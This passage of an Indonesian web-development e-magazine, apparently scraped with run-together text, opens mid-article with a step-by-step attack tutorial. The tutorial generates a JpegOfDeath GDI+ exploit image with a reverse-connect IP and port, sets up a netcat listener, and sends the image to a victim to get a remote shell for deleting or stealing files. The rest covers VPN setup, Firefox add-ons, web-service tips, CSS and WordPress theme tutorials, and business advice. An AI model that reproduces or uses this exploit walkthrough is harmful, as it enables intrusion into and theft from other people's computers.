adanya respon ataukoneksi balik dari computer korban ke computer penyerang.Hacker yang menjalankan aksi tersebut akan menunggu Reverseconnect dari korbannya. Tujuannya adalah untuk mengambil alihcomputer korban.Langkah pertama yang dapat dilakukan adalah membuat sebuahfile JPEG dengan program JPEG-OF-DEATH caranya? Kita dapatmenggunakan parameter –r yang diikuti alamat IP computer yangkita gunakan ex.E:>jpegofdeath.exe –r 192.168.2.2 –p 8888hantuwewe.jpg+------------------------------------------------+| JpegOfDeath - Remote GDI+ JPEG Remote Exploit|| Exploit by John Bissell A.K.A. HighT1mes|| September, 23, 2004|+------------------------------------------------+Exploit JPEG file hantuwewe.jpg has beengenerated!Langkah kedua yang perlu dilakukan adalah kita harus bersiap-siapmenunggu koneksi balik dari korban dengan aplikasi NETCAT (NC).NC sebenarnya memiliki banyak sekali kegunaan. Tetapi disini kitaakan membahas kegunaan NC dalam eksploitasi JPEGOFDEAT saja.Untuk menjalankannya berikan perintahE:>nc –l –p 888Arti dari masing-masing parameter adalah Listening (-l) , dan Port(-p) . Nc akan menunggu pada port yang telah kita tentukan.Langkah akhir adalah mengirimkan gambar yang telah kita ubahtadi kepada Korban yang dituju.Program yang telah meluncur dan berhasil mengenai sasaran akanmengakibatkan computer korban menjadi crash dan tanpadisadari akan melakukan koneksi ke computer penyerang. Padasaat koneksi dari computer korban terjadi, computer penyerangakan menampilkan sebuah windows shell layaknya commandpromt pada windows. Kini kita telah berada pada computerkorban. Aksi yang dapat dilakukan bermacam macam sepertimemberikan perintah DIR, DEL,atau bahkan mencuri file drcomputer korban.Salah satu perintah yang mengasyikan adalah shutdown –s –t-0 (SHUTDOWN dengan delay 0 detik)[Brilianth]
  • 81. .ilmu Website |MagazineE-learning community offline version78KonfigurasiPemanfaatan VPN dalamBISNIS ONLINE&(Virtual Private Network)alam! Setelah menulis seputar VPS (Virtual Private Server)pada i-web magazine edisi sebelumnya, di sini kita akanSmengulas kembali rubrik yang tak kalah menarik yaitu VPN(Virtual Private Network) . Tak jauh berbeda dengan VPS, VPNjuga menawarkan beberapa keunggulan tersendiri antara lain?Koneksi yang diperoleh relative lebih cepat?Untuk keperluan bisnis VPN dapat digunakan sebagaiMask dalam bertransaksi (Anonymous IP)?Kecepatan koneksi dalam mendownload melalui serverUS?Kebebasan mengganti no IP dengan jaminan Privasi yangbaik?Dapat digunakan sebagai Gateway koneksi InternetMasih banyak keunggulan dari VPN yang bisa kita dapatkan selaindari beberapa keunggulan diatas. Dalam bisnis online, biasanyaVPN sangat bermanfaat untuk menyembunyikan IP danmenggantinya dengan IP yang dapat kita ubah sesuai dengankeperluan kita tanpa perlu merubah IP local.Berikut cara men-setting koneksi VPNLangkah 01. Cari menu "Control Panel". kemudian Klik "NetworkConnections".Langkah 02. Cari "Create a new connection" pada bagian atassebelah kiri.Langkah 03. Klik "Next >".Langkah 04. Pilih "Connect to the network at my workplace". Klik"Next >".
  • 82. .ilmu Website |MagazineE-learning community offline version79Langkah 05. Pilih "Virtual Private Network connection". Klik"Next >".Langkah 06. Masukan nama koneksi, seperti "worldvpn", dalamkolom "Company Name". Klik "Next >".Langkah 07. (Optional) Pilih "Do not dial the initial connection".Klik "Next >".Langkah 08. Masuk kan "server ip" of your VPN account in"Host name or IP address". Klik "Next >".;Langkah 09. Pilih "Add a shortcut to this connection to mydesktop" untuk mempermudah koneksi VPN. Klik "Next >".Langkah 10. Masuk kan "User name" and "Password" vpnaccount anda. Kemudian pilih "Save this user name andpassword for the following users" to simplify connection. Klik"Properties".
  • 83. .ilmu Website |MagazineE-learning community offline version80Langkah 11. Klik "Security". Pilih "Advansed (custom setting)"kemudian klik "Setting".Langkah 12. Pilih "Optional encryption (connect even if noencryption)" dari "Date encryption" dan hilangkan centang"Microsoft CHAP (MS-CHAP)" dan "Microsoft CHAP Version 2(MS-CHAP v2)" dan tandai "Challenge HandshakeLangkah 13. Klik "YES" untuk mengkonfirmasi setting anda.Sekarang kita dapat melakukan koneksi dengan Username danPassword yang telah diberikan ooleh tempat kita menyewaVPN.Untuk memilih layanan VPN yang baik dan professionaldiharapkan anda mempelajari dulu kesepakatan dan efisiensiharga yang ditawarkan oleh perusahaan penyedia layananVPN. Salah satu layanan VPN yang sangat baik adalah. World VPN menyediakan layanan denganharga terjangkau sekitar $5 perbulan. Pembayaran juga dapatdilakukan dengan menggunakan e-currency seperti Libertyreserve, Paypal, WebMoney, Visa, Mastercard dan MoneyBookers[brilianth]www.worldvpn.netiklan
  • 84. 81.ilmu Website |MagazineE-learning community offline versionTips & TrikWebA p l i k a s iAddons FireFoxSangat Membantu Andai dunia Internet Siapa sih yang tak kenal dengan browser,banyak sekali browser-browser yang dapat kita gunakanDuntuk kita berselancar di dunia internet diantaranya : IE(Internet Explorer), Mozilla FireFox, Netscape Navigator, Opera,Safari, Google Chrome, dan banyak lagi browser yang dapat kitagunakan untuk kita berpetualang di dunia internet dan diantarayang sekian banyak browser-browser yang paling banyakmempunyai Tools( addons) adalah Mozilla FireFox.Addons adalah tools tambahan untuk sebuah web browser yangdapat kita manfaatkan kegunaannya dan addons itu memangsangat membantu dalam artikel ini saya akan coba mengupasaddons yang terdapat pada Mozilla FireFox yaitu firebug addonsdanwebdeveloperaddons.Firebug dan web developer addons sangat cocok untuk anda yangsedang mendevelop sebuah web atau sedang belajar untukmembuat web , karena keberadaan addons tersebut bukan hanyamemudahkan anda juga dapat mempercepat anda untukmenyelesaikan pekerjaan anda, baik lah pertama kita akanmencobainstallFirebugpadabrowserkita.Langkah pertama buka browser anda sebaiknya saya sarankanuntuk menggunakan browser / firefox yang terbaru karenaFirebug hanya dapat di install di Firefox 3.0 ke ataslangkah kedua dari menu Tools(atas) kemudian ke addons setelahkita masuk ke addons kita dapa melihat addons apa saja yangsudah terinstall pada web browser anda seperti berikut :nah berikut addons yang telah terinstall pada web browser saya:D, oke untuk mendapat kan addons tersebut di dalam addonsterdapat Get Add-ons sebelah sudut kiri atas, kemudian kitasearch addons apa yang ingin kita install, kita search Firebugsaratnya kita harus terkoneksi internet karena kita akanmendowload addons tersebut dari Mozilla langsung, oke setelahketemu addonsnya kita klik Add to FireFox, kemudian biarkaninstallasi berlangsung nah setelah installasi selesai firefox akanmeminta di restart , tunggu dulu bukan kita harus merestart OSanda melainkan kita hanya perlu merestart firefox denganmengklik restart firefox.AddonsFirefoxSangatMembantuAnda
  • 85. nstallasi sukses dan kita dapat melihat di sudut kanan palingbawah terdapat tanda sebuah kecoa kecil, seperti berikut :nah itu lah yang dinamakan firebug oke sebelum sayamenjelaskan cara penggunaan addons tersebut baiknya kita installdulu web developernya caranya seperti yang sudah saya jelaskanseblumnya tapi pada field search kita ketikkan “web developer “.dan Install.ebelum itu coba kita mengklik kanan pada tampilan web kita dantelihat di bawah menu tambahan yaitu Inspect elemet dan itudapat kita gunakan untuk melihat tampilan web kita dari tampilanbrowser.Oke apa bedanya sih dengan kita melihat sourcenya saja atau klikkanan view source ? Bedanya kita dapat merubah dalam browserkita menurut kehendak kita, tetapi tunggu dulu kita hanya dapatmelihat saja yah bukan merubah dalam wujud aslinya untukmerubah dalam wujud aslinya yah harus kita rubah sendiri daritempat kita buat web tersebut :D artinya klient nya saja bisamelihat tetapi webnya ketika kita refresh kembali akan kembaliseperti sebelumnya.Oke itu hanya perkenalan dalam firebug masih banyak lagi kitadapat memanfaatkan firebug sebagai Tools tambahan, coba klikkanan Inspect element pada tampilan web anda dan anda dapatmelihat pada tag head / <head> kita dapat melihat pada tagtersebut web tersebut meload apa saja dan tempatnya dimanasaja seandainya salah pada penempatannya akan terlihat pesanerror untuk lebih jelasnya lihat gambar berikut :lo ko tampilan web tersebut kurang baik sih atau Rusak apakahCssnya tidak terload dengan baik itulah pertanyaan kita baiklahkita coba klik kanan kemudian inspect element dan ternyata padatag head <head> kemudian terdapat tag pengambilan Css danternya error seperti berikut :Oke sebelum kita rubah dari scriptnya kita coba tracemenggunakan Firebug, waduh ternyata kita salah tag src stylenyapada :<link type="text/css" rel="stylesheet"href="http://localhost/sampleblog/styles/style.css"><link type="text/css" rel="stylesheet"href="http://localhost/sampleblog/style/style.css">seharusnyaCoba kita rubah dari Firebug dan hasilnya memuaskan danketemu deh kesalahannya, berbeda dengan view source, viewsource hanya melihat apa adanya kita tidak dapat merubah padatampilan web kita dan ketika ketemu kesalahannya kita rubah dehdari script aslinya.Dan selanjutnya coba kita inspect pada Image atau gambar kitadapat melihat resolusi gambar tersebut berapa pixelkah gambartersebut kebesaran atau kekecilan kita juga dapat melihatnya.ilmu Website |MagazineE-learning community offline version82
  • 86. saya telah menginspect sebuah image dimanakah kita dapatmelihat size dari image tersebut, pada bagian sebelah kanan padafirebug terdapat sebuah tab bernama layout coba di buka sepertigambar berikut :kita dapat melihat ukurannya(size) coba kita rubah2 denganmengkliknya dan rubah lihat perubahan pada web anda ketikaanda memberi ukuran sendiri ketika cocok dengan anda baru dehrubah pada script aslinya, sangat membantu bukan,untuk selanjutnya silahkan anda bereksplorasi sendiri untukmemudahkan anda firebug adalah salah satu addons yang lumayanhandal.Selain firebug addons Firefox banyak memiliki addons untukmembantu anda diantaranya Web developer yang lumayan dehuntukmembantujuga.Sebagai contoh web developer dapat melihat pada password yangkitatuliskanpadasaatkitaloginsebagaicontohlihatgambarberikut:coba kita gunakan web developer addons untuk melihat passwordyang kita ketikkan dengan cara klik kanan pada web browserkemudian paling bawah terdapat menu web developer kemudianke menu forms dan beri centang pada show password danhasilnya seperti gambar berikut :dan masih banyak lagi kita dapat manfaatkan pada kedua toolskita untuk membantu dalam pembelajaran kita membangunwebsite yang baik dan benar.Untuk mendapatkan addons yang dapat membantu kita dalam halbrowsing atau mendevelop sesuatu anda dapat mengunjungi situsHomedariFirefoxataumenujukehttps://addons.mozilla.org/sekiandarisayasemogabermanfaat.[SyahrilRohman].ilmu Website |MagazineE-learning community offline version83
  • 87. 84.ilmu Website |MagazineE-learning community offline version84BookmarkMenyimpan datasecara onlineRibuan Softwaredari MobilesMania8585Kamus onlineInggris - IndonesiaMembuat fitur chatdengan Shoutmixpa yang anda lakukan untuk menyimpan data selain diHarddisk internal? Menggunakan flash disk, HarddiskAexternal, Backup di CD, mungkin sudah biasa ataupunsering dilakukan. Nah, apakah pernah terpikirkan oleh anda untukmenyimpan data secara online?Mozy yang dapat diakses melalui situs merupakanaplikasi web yang dirancang khusus untuk menyimpan data secaraonline. Mozy mampu menyimpan data hingga 2GB. Bagaimanajika ingin menyimpan data lebih dari 2GB? Tentu saja harusmengeluarkan biaya. Untuk penyimpanan data secara unlimited(tidak terbatas), cukup membayar $4,95/bulan.www.mozy.comUntuk keamanan data, tidak perlu diragukan. Mozy menggunakantingkat enkripsi data yang cukup tinggi dengan https (Hyper TextTransfer Protocol Secure). Mozy support dengan system operasiwindows dan Mac OS.[ivan /iv]ernahkah anda mengakses situs www.mobilesmania.com?Jika belum, cobalah akses sekarang. Anda akanPmenemukan ribuan software yang dapat anda unduh.Sesuai dengan namanya, mobiles mania ditujukan bagi penggunaponsel. Namun tidak sedikit juga tersedia software PC.Software yang tersedia merupakan software untuk ponsel nokia,PDA, PC, Games, dan beberapa ringtones dengan format MP3.Untuk dapat mendownload software tersebut, anda diharuskanuntuk melakukan registrasi terlebih dahulu. Situs ini sebenarnyatelah lama didirikan, hanya saja mungkin banyak orang yang tidakmengetahui akan kehadirannya.Ribuan Softwaredari MobilesManiaMenyimpan datasecara online
  • 88. hat merupakan salah satu aktifitas yang paling seringdilakukan pada saat online. Tapi bagaimana jadinya jikaCketika kita chat dengan orang asing/bule? Yang pandai akanberbicara dalam bahasa inggris tentu tidak menjadi masalah.Namun dengna seseorang yang tidak bisa berbahasa inggrisdisinilah letak permasalahannya? Kini masalah ini telah banyaksolusinya. Cukup banyak web translator yang menyediakanfasilitas translator bahasa asing – bahasa indonesia salah satunyaadalah Toggle Text..ilmu Website |MagazineE-learning community offline version85Toggle Text dapat diakses melalui, fasilitas initentunya dapat membantu anda dalam menerjemahkan katadalam bahasa Indonesia ke bahasa inggris. Demikian jugasebaliknya. Kata demi kata hingga kalimat panjang diterjemahkansecara mudah. Walaupun tentunya tidak semuanya benar. Namunsedikit banyak cukup membantu jika anda ingin chat denganorang bule tersebut.[ivan]www.toggletext.com/main.cgi?page=translationalah satu fitur di sebuah situs yang mampu menarikperhatian pengunjung adalah Chat. Hampir setiap orang jikaSsedang online, akan membuka aplikasi messenger-nya. Nah,bagaimana jika situs anda dipasang fitur Chat? Tentu akan lebihmenarik bukan? Dengan fitur chat, seseorang dapat langsungberkomunikasi sesama pengunjung situs tersebut dan tentunyahal ini akan membuat situs tersebut makin terkenal danmeningkatkan SEO.Shoutmix merupakan situs penyedia jasa chatmaker. DenganShoutmix, kita dapat membuat menu Chat pada situs kita. Untukmemasang fasilitas ini, caranya cukup mudah. Kita cukupmendaftar ID kita melalui menu “Create Your Shoutbox Now”. Laluisi form dengan lengkap. Setelah itu, untuk memasang fitur ini puncukup mudah. Cukup dengan Copy paste kode untuk membuatmenu Shoutbox ini.[ivan]Membuat fitur chatdengan ShoutmixKamus onlineInggris - Indonesia
  • 89. 86WebsiteMakeMembuat tombolicon dengan CSSOver90Membuat SendiriThemes Wordpressada edisi kali ini penulis akan menjelaskan cara membuattombol form yang dihiasi icon. Dengan menggunakan CSS,Picon ini dapat diikut sertakan pada inputan form dengantype button / submit.Pertama siapkan halaman HTML baru, dengan menggunakanMacromedia Dreamweaver, pilih menu File New > HTMLPada kolom title ketik judul halaman nya, dan save file dengannama Membuat Tombol Icon dengan CSS.htmlPertama kali yang harus Anda lakukan adalah mengatur styleuntuk BODY, klik pada icon New Style di Panel CSS sebelah kanan,akan muncul jendela sebagai berikutPilih radio Tag (redefines the look of a specific tag), lalu padakolom select Tag, pilih body. Pada option Define in, pilih radio Thisdocument only. Lalu klik [OK].Akan muncul jendela CSS Rule definition for body. Gunakan styleMembuattombolicon dengan CSS
  • 90. Klik Apply untuk preview, dan klik OK jika sudah selesai.Untuk melihat kode CSS yang tercipta dari pengaturan tadi,silahkanklikTABCodedisebelahatasdokumen.HighlightCSSCode CSSBeralih ke TAB Design.Selanjutnya ketik text untuk header halaman: Membuat TombolIcondenganCSSBlocktextMembuatTombolIcondenganCSS,danpilihformattextHeading 2, pada panel Properties. Disini Anda dapat melakukanpengaturanwarnaperhuruf/perkatasekaligus.Secara otomatis style yang telah Anda atur akan di tambahkanpada kode CSS nya.Saatnya merancang Tombol Form. Beralih ke TAB design, lalu pilihoption Form pada panel kiri atas dokumen, klik pada icon AddForm.Sekali lagi klik pada tombol Add Button, untuk menambahkanbutton pada area form. Namun ingat pointer mouse harus sudahdiletakkan di dalam area form yang ditandai dengan garis merah.ilmu Website |MagazineE-learning community offline version87
  • 91. Klik OK jika muncul jendela Label.Tombol submit yang sudah ditambahkan.Untuk mengatur style untuk tombol yang baru saja Anda buat,klik pada tombol nya, lalu pilih icon New CSS Rule pada panel CSSdi sebelah kanan.Padajendelayangmunculsesuaikanoptionnyadengangambar.Klik OK untuk memunculkan jendela style berikutnyaBerikut ini penjelasan dari masing masing option style:1. TypeSama seperti body sebelumnya, digunakan untukmengatur bentuk huruf, ukuran, warna dan beberapaoption pilihan lainnya.2. BackgroundSeperti yang telah dijelaskan sebelumnya, tombol yangdibuat akan dihiasi dengan icon. Background ini lahyang akan digunakan dalam mengimplementasikannya.Untuk menentukan icon tombol sebagai background,klik browse dan cari lokasi gambar icon..ilmu Website |MagazineE-learning community offline version88
  • 92. 3. BoxMerupakan option yang berfungsi untuk mengaturposisi sebuah objek dalam sebuah bidang (box).4. BorderUntuk mengatur style garis yangmengelilingi objek, atau disebut sebagaiborder.Jika dirasa sudah cukup, klik OK untuk menutup jendela DefinisiOption Style.Dan untuk mempreview hasil tampilan akhir dari perancanganstyle yang baru saja Anda buat, jangan lupa save-lah terlebihdahulu lalu tekan F12 pada keyboard.Berikut tampilan hasil akhirnya. Selamat mencoba [Hairul Azami].ilmu Website |MagazineE-learning community offline version89
  • 93. Membuat.ilmu Website |MagazineE-learning community offline version90Sendiri TemplateWordpressordpres, rasanya nama ini sudah tidak asing lagi bagi kita yang sering menggunakan internet. Ya, wordpress adalahsebuah aplikasi blog populer yang banyak sekali digunakan oleh pra blogger. Tidak hanya itu, aplikasi ini banyakWdimanfaatkan mulai dari web profil perusahaan, portal berita, web shoping, hingga web komunitas.Tingginya popularitas aplikasi ini disebabkan oleh kemudahan penggunaan bahkan bagi pengguna awam sekalipun. Tidak hanya itu,dukungan komunitas yang tinggi membuat aplikasi ini berkembang sangat pesat. Banyak sekali plugin dan theme yang tersediasecara gratis yang bisa langsung kita gunakan. Bahkan jika kita merasa kurang cocok dengan plugin atau theme yang ada, kita bisamembuatnya sendiri. Tidak terlalu sulit untuk membuat sendiri komponen ini. Dalam artikel ini penulis akan coba uraikan tahapan-tahapan dalam membuat theme untuk wordpress yang disesuaikan dengan kebutuhan kita.Bagi Anda yang ingin mencobanya silahkan download Wordpress versi terbaru di alamat . Selain itukami juga menyertakan kode sumber Wordpress versi 2.7.1 di dalam DVD.http://wordpress.org/download
  • 94. .ilmu Website |MagazineE-learning community offline version91/*Theme Name: ThemeskuTheme URI:Description: Ini adalah themes buatanku sendiri.Version: 1.0Author: Iskandar SoesmanAuthor URI:Tags: putih, sederhana*/Pertama-tama buatlah file disain template awal yang kita berinama template.html. Idealnya file ini adalah mockup dari disainyang akan Anda buat. Saya berasumsi bahwa Anda telah memilikidisain HTML dari theme yang akan Anda buat. Berikut adalah isidari file tersebut:<html><head><title>My First Blog</title></head><body><!-- Mulai dari tag awal hingga bagian iniakan pisahkan menajadi header.php --><!-- Awal bagian content --><!-- Akhir bagian content --><!-- Mulai bagian ini hingga akhir tag akankita pisahakan menjadi footer.php --></body></html>Jika tag HTML di atas kita pisahkan masing-masing menjadi fileheader.php, index.php dan footer.php maka hasilnya akan sepertiberikut ini:Isi file header.php adalah:<html><head><title>My First Blog</title></head><body><!-- Mulai daritag awal hingga bagian ini akan pisahkan menjadiheader.php -->http://wordpress.org/http://www.kandar.info/Isi file index.php adalah:<!-- Awal bagian content --><!-- Akhir bagian content -->Isi file footer.php adalah:<!-- Mulai bagian ini hingga akhir tag akan kita pisahakan menjadifooter.php --></body></html>Setelah memahami pembabakan, selanjutnya kita perlumengetahui fungsi-fungsi apa saja yang kita bisa gunakan untukmengisi theme yang akan kita buat.Ketika aplikasi wordpress dijalankan, maka file theme yangpertama kali dieksekusi adalah index.php. Oleh karena itu kitaperlu menyertakan file header.php dan footer.php ke dalam fileindex.php dengan cara meng-include. Untuk melakukan hal inikita tidak perlu repot-repot menggunakan fungsi include ataurequired_once karena wordpress telah menyediakan fungsinya.Berikut adalah contoh isi file index.php:<?php get_header();?><!-- Awal bagian content --><!-- Akhir bagian content --><?php get_footer();?>Untuk menampilkan artikel baik berupa list atau index maupundetail, kita akan menambahkan bagian yang disebut The Loop.The Loop akan memproses bagaimana setiap artikel akanditampilkan sesuai dengan kriteria yang kita inginkan. Parameteryang digunakan untuk menentukan kriteria adalah The Loop Tags.Membuat theme sederhanaMembuat theme sederhana untuk Wordpress sangatlah mudah.Setidaknya kita hanya membutuhkan tiga buah file php dan satufile css yang dikumpulkan dalam satu folder yang kita beri namasesuai dengan nama themes yang diinginkan. File-file ini adalahindex.php, header.php, footer.php dan style.css.header.phpFile ini berisi segala informasi yang dibuthkan pada bagian headdari html yang akan di-generate. Sebagai contoh <doctype>,<meta>, title, link file javascript dan link file css. Selain itu padabagian ini kita letakkan tag body <body> pembuka. Karena fila iniakan selalu dipanggil pada semua halaman, maka kita juga bisameletakkan navigasi pada bagian ini.footer.phpFile ini tempat untuk meletakkan bagian akhir dari suatu halaman.Misalnya, kita bisa meletakkan tag body penutup </body>, linknavigasi, copyright, dan informasi-informasi lainnya.index.phpIni adalah file tempat kita meletakkan semua isi yang akan kitatampilkan. Pada bagian ini kita bisa menempatkan list artikelterbaru sekaligus halaman detail dari suatu artikel. Bisa dikatakanini adalah bagian terpenting dari theme yang akan kita buat.Berikut ini adalah contoh pemenggalan halaman untuk dijadikantheme.style.cssSeandainya saja theme yang kita buat memiliki file css yangberbeda atau tidak ada sama sekali, file ini tetap harus ada.Style.css selain digunakan untuk mengelompokan tag css jugasebagai tempat menyimpan informasi mengenai theme kita.Informasi ini diletakan pada bagian awal file yang berbentukkomentar. Berikut adalah contohnya:
  • 95. Theme sederhana kita sudah hampir siap. Sekarang waktunyauntuk mencoba.1. Copy folder theme kita dan pastekan pada folder themes yangada di dalam folder wp-content.2. Masuk ke dalam halaman admin dan klik menu themes yangada di bawah grup Appearance.3. Setelah itu Anda akan berada pada halaman Manage Theme.Jika tidak ada masalah theme baru kita sudah ada di bagaianbawah.4. Pilih theme kita dan aktifkan.5. Klik visit site untuk melihat theme baru kita.Untuk melihat artikel lebih detail link yang tersedia baru "Bacaartikel lebih lanjut...". Bagai mana kalau judul setiap artikel jugabisa menjadi link ke detail artikel? Tidak masalah, yang perlu kitalakukan adalah menambah fungsi the_permalink().Ketika meng-klik salah satu artikel kita tidak melihat adanya formkomentar. Untuk menambahkannya yang perlu kita lakukanadalah menambahkan fungsi comments_template(). Berikutadalah contohnya:<?php get_header();?><!-- Awal bagian content --><?php if ( have_posts() ) : while (have_posts() ) : the_post(); ?><a href="<?php the_permalink() ?>"><?phpthe_title(); ?></a><?php the_content(Baca artikel lebihlanjut...); ?><?php comments_template();?><?php endwhile; else: ?><p><?php _e(Maaf, artikel yang Anda maksudtidak ada.); ?></p><?php endif; ?><!-- Akhir bagian content --><?php get_footer();?>Jika tidak ada masalah maka kini thame baru kita sudahdilengkapi dengan form komentar.Kini theme sederhana kita sudah bisa digunakan. Mudah-mudahan ini bisa menjadi referensi pembaca untuk bisamengembangkan kreasi theme yang lebih lanjut. Cara ini telahpenulis terapkan dalam mengembangkan kompasiana.comSelamat mencoba!(Iskandar Oesman).ilmu Website |MagazineE-learning community offline version92Berikut adalah contoh file index.php yang telah dilengkapidengan The Loop:<?php get_header();?><!-- Awal bagian content --><?php if ( have_posts() ) : while (have_posts() ) : the_post(); ?><?php endwhile; else: ?><p><?php _e(Maaf, artikel yang Anda maksudtidak ada.); ?></p><?php endif; ?><!-- Akhir bagian content --><?php get_footer();?>The Loop di atas bertugas untuk memastikan apakah artikel yangingin kita tampilkan ada atau tidak. Jika tidak ada artikel makapesan error akan muncul "Maaf, artikel yang Anda maksud tidakada.". Jika ternyata artikel yang kita maksud ada maka akanditampilkan. Namun pada script di atas kita belummenambahkan fungsi menampilkan artikel, oleh karena itu kitaperlu menambahkan beberapa baris kode seperti berikut ini:<?php get_header();?><!-- Awal bagian content --><?php if ( have_posts() ) : while (have_posts() ) : the_post(); ?><?php the_title(); ?><?php the_content(Artikel lebihlanjut...); ?><?php endwhile; else: ?><p><?php _e(Maaf, artikel yang Anda maksudtidak ada.); ?></p><?php endif; ?><!-- Akhir bagian content --><?php get_footer();?>
  • 96. .ilmu Website |MagazineE-learning community offline version93KlinikBISNIS1. Hindari memulai bisnis dengan orang yang barudikenal ataupun memiliki track record kurang baiksebelumnya, kecuali orang tersebut sudah jelas inginberubah lebih baik atas tindakan masa lalunya. Kenalilahmereka bak saudara, buatlah rasa saling memiliki. Karenasekali lagi, bisnis itu adalah dukungan dari berbagaipihak, bisnis itu barter, bisnis itu pun adalah berbagi.2. Carilah SDM yang memiliki kompetensi.3. Tetapkan visi dan misi perusahaan secara bersama-sama, lalu tuangkanlah kerja sama bisnis dalam satukesepakatan dan komitmen yang ditandatanganibersama. Di dalam kesepakatan perlu ditetapkan hak dankewajiban para pihak secara adil dan memiliki maksudyang baik. Meskipun saling percaya, perjanjian ataukesepakatan usaha akan lebih baik jika disahkan olehnotaris dan dihadiri oleh para saksi.4. Setiap orang pasti ingin merasakan manisnya bisnis,manisnya mengais rezeki, tapi dalam hal ini paparkanlahhal-hal terburuk yang mungkin terjadi dalam usaha yangditempuh dan kesempatan yang akan diambil sehinggakemudian hari tidak akan terjadi kesalah-pahaman.Memilih Mitra Bisniserkadang memang tidaklah semudahmembalikkan telapak tangan memilih mitraTbisnis yang terpercaya. Banyak sekali kasusbagaimana sebuah bisnis yang dibangun bersama-sama akhirnyaharus bubar barisan di tengah jalan karena para pihak yangbekerja sama ada yang melanggar komitmen. Atau sudah berbedaVisinya. Yup Sekali lagi bisnis itu bersinergi, bisnis itu berjamaah,kalau dilakukan dengan beramai-ramai karena memang perluadanya pembagian dalam siapa saja yang memiliki peran dalamberbagai posisi seperti pemasaran misalnya, keuangan,operasional, sumber daya manusianya, dsb. Nah kalau semua halitu dilakukan sendiri itu sih sama saja seperti manajemen tukangcukur konvensional bukan?Untuk kaidah yang lebih sederhana misalnya, kaidahsecara rombongan pun seperti di pasar induk misalnya, coba lihatsaja berapa banyak orang yang berjualan tahu tapi dalam satukawasan? Berapa banyak penjual sayur dalam satu kawasan?Bahkan berapa banyak Mall yang didalamnya terdapat banyak kiosHand Phone, Komputer, dll. Bukankah itu sebuah keuntunganuntuk menarik banyak pengunjung?Jadi Bukankah berjamaah itu memang baik? BerikutMemilihBersinergidenganMitraBisnis&
  • 97. .ilmu Website |MagazineE-learning community offline version93Sinergi Bisnis dengan Mitra Luaralam praktek bisnis era cyber saat ini, begitubanyak jalan untuk menguatkan taliDSilaturahmi, tali persaudaraan diantaranyalewat berbagai komunitas yang jumlahnya tak terhitung luar biasabanyak sekali, mulai dari Komunitas para pengusaha kelas kakapsampai dengan komunitas para pengusaha tahu yang omsetnyatidak kalah besar. Mulai dari Komunitas sosial anak muda sampaidengan para bikers yang sudah berumur, mulai dari komunitasibu-ibu arisan sampai dengan ibu-ibu pejabat. Kemajuanteknolongi telah mendorong terbentuknya komunitas-komunitasyang bisa berhubungan secara maya di dunia internet,diantaranya yaitu lewat mailing list, forum diskusi, blog, maupunsocial media. Selain itu, bisa juga dibentuk organisasi-organisasibisnis seperti Jaringan Komunitas Ummat Terbaik Hidup Berkah,Pengusaha Rindu Syariah, Himpunan Pengusaha Tionghoa,sampai ke Komunitas Cara Gampang Bebas Utang.Komunitas-komunitas diatas bukan hanya sebagaipayung bernaung saja yang tujuan untuk menciptakansilahturahmi serta kerja sama di antara sekelompok orang, akantetapi juga bertujuan untuk dapat kerja sama dengan komunitaslain. Silaturahmi ini ternyata bisa melahirkan benefit yang luarbiasa, lihat saja saat ini UKM alias Usaha Kecil Menengahsekarang banyak yang berganti nama menjadi UKM – Usaha KecilMiliaran, yup silaturahmi itu imbasnya bisa melahirkan rezeki takterduga. Masih gak percaya? Silahkan deh coba kunjungimomunitas-komunitas yang ada, kalau belum berani mampir kemarkas besarnya, kunjungi dulu deh Sosial Medianya, ikuti terusperkembangannya selama 3 Bulan, kenalan dan bertukaninformasi secara intens. Untuk itu, secara personal apalagi sebuahkelembagaan Usaha harus ikut nimbrung secara aktif dalamkomunitas yang mampu memberdayakan anggotanya danmampu saling menguatkan silaturahmi.Dalam beebrapa tempo kedepan, kebutuhan pebisnis akankomunitas semakin tinggi dan tak terbendung. Hal ini terutamaterjadi pada bisnis-bisnis baru yang setiap pelakunya memerlukaninformasi ataupun bertukar pengalaman soal bisnis yangdidalamnya bisa mengautkan jaringan pemasaran ataupun jugakiat-kiat untuk menghadapi persaingan bisnis. Kalaupun dirasamasih belum ada Komunitas yang mewakili Visi Misi usaha kita,toh sebetulnya amat sangat mudah saat ini untuk membentukkomunitas, diantaranya sbb :1. Bisa dilakukan cara dengan mendeklarasikan komunitasdengan mengundang orang-orang seprofesi;Nahbagaimana undangannya? Tenang semuanya bisadilakukan lewat cara konvensional seperti perkumpulanataupun bisa dengan cara tatap muka lewat dunia maya.2. Tahapan selanjutnya yaitu harus ada base camp dimanatempat ini harus bisa untuk umum dikunjungi oleh orangbanyak, ya salah satunya apalagi kalau bukanMeluncurkan blog atau website yang berhubungandengan satu bisnis tertentu sehingga mengundang orangikut bergabung di dalamnya;3. Langkah Ketiga adalah adakanlah pertemuan rutinanseminar, lokakarya, atau pelatihan yang diakhiri denganrekrutmen komunitas;4. Keempat tentunya kita harus punya data untukmemonitoring aktivitas dengan Menyebarkan kuesionerdan formulir keanggotaan komunitas kepada orang-orang yang seprofesi atau terkait.Saat ini penulis aktif sebagai Direksi PT Kaffah Gemilang danjuga Pengelola Cyber Business School, ia dapat dihubungimelalui email : riskyirawan.wi@gmail.com atau melaluitwitter : @kapten_risky
  • 98. BacktoNature.ilmu Website |MagazineE-learning community offline version
  • 99. GunungSalak
  • 100. 99

×